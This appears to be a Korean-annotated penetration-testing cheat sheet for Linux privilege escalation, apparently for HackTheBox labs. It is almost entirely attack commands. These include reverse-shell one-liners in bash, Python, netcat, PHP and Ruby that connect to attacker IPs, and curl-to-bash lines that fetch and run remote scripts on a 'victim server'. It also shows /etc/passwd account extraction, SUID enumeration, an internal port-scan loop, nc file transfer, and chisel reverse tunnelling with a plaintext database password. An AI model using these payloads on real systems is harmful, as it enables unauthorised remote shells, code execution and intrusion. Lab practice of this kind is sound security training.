Linux Privilege Escalation

Linux Privilege Escalation

in

Reverse Shell

Online Reverse Shell Generator

  • bash
bash -i >& /dev/tcp/10.10.10.10/9001 0>&1
bash -c 'bash -i >& /dev/tcp/10.10.14.14/9001 0>&1'
  • python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
  • Netcat
nc -e bash 10.10.10.10 9001

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 9001 >/tmp/f
  • curl 이용
//칼리에서 파일 생성
cat rev.sh
bash -i >& /dev/tcp/10.10.14.14/9001 0>&1

//피해서버에서 curl로 접속
curl 10.10.14.14:8000/rev.sh | bash
  • PHP
php -r '$sock=fsockopen("10.0.0.1",9001);exec("/bin/sh -i <&3 >&3 2>&3");'
  • Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",9001).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Enumeration

cat /etc/issue
cat /proc/version
getconf LONG_BIT
  • 사용 가능한 폴더 확인
find / -perm -u=s -type f 2>/dev/null
  • 마운트된 폴더 확인
cat /etc/fstab
  • /etc/passwd 파일 중 로그인 계정 추출
// bash, sh 로그인 계정 추출
cat /etc/passwd | grep sh$
// 해당 계정중 계정명만 추출
cat /etc/passwd | grep sh$ | awk -F: '{print $1}'
  • 내부 포트 스캔
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null &&  echo "port $PORT is open"; done

Shell

  • 프롬프트 변경
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c "import pty ; pty.spawn('/bin/bash')"
SHELL=/bin/bash script -q /dev/null

//풀 쉘 (bash에서 진행 zsh X)
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo; fg
  • 리버스쉘에서 칼리 웹서버 접속하여 프로그램 실행
//칼리 (공격자 서버)
python3 -m http.server
//리버스쉘 (피해자 서버)
curl 10.10.14.2:8000/linpeas.sh | bash
  • 파일 전송
//칼리 (공격자 서버)
python3 -m http.server
//리버스쉘 (피해자 서버)
curl 10.10.14.2:8000/linpeas.sh -o linpeas.sh
wget 10.10.14.2:8000/linpeas.sh

//칼리 (공격자 서버)
nc 10.10.10.100 4444 < /Desktop/test.c
//받는서버 (피해자 서버)
nc -lvnp 4444 > test.c

ETC

  • Base64
// base64 디코딩
echo -n eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9 | base64 -d

// bas64 인코딩
base64 jwtheader.txt -w 0
  • ssh-keygen (ssh 키 생성)
// 기본 생성
ssh-keygen -f sysadmin
chmod 777 sysadmin

// rsa 암호화 형식 생성 (HTB_thenotebook 참조)
ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
// ssh-rsa ASDFNQWWE~ 형식을 public key 형식으로 변경 (HTB_thenotebook 참조)
openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRSA256.key.pub
  • chisel
https://useegod.com/2022/03/28/htb_magic/ 참고
// 칼리
./chisel server -p 6000 -reverse
// 피해자 서버
./chisel client 10.10.14.3:6000 R:6001:127.0.0.1:3306

//칼리에서 피해자의 127.0.0.1:3306 포트 접근 가능
mysql -h 127.0.0.1 -P 6001 -u theseus -p iamkingtheseus
  • tcpdump
//피해자 서버
ping -c 1 10.10.14.8
//공격자 서버
sudo tcpdump -i utun7 icmp

Exploit

GTFOBins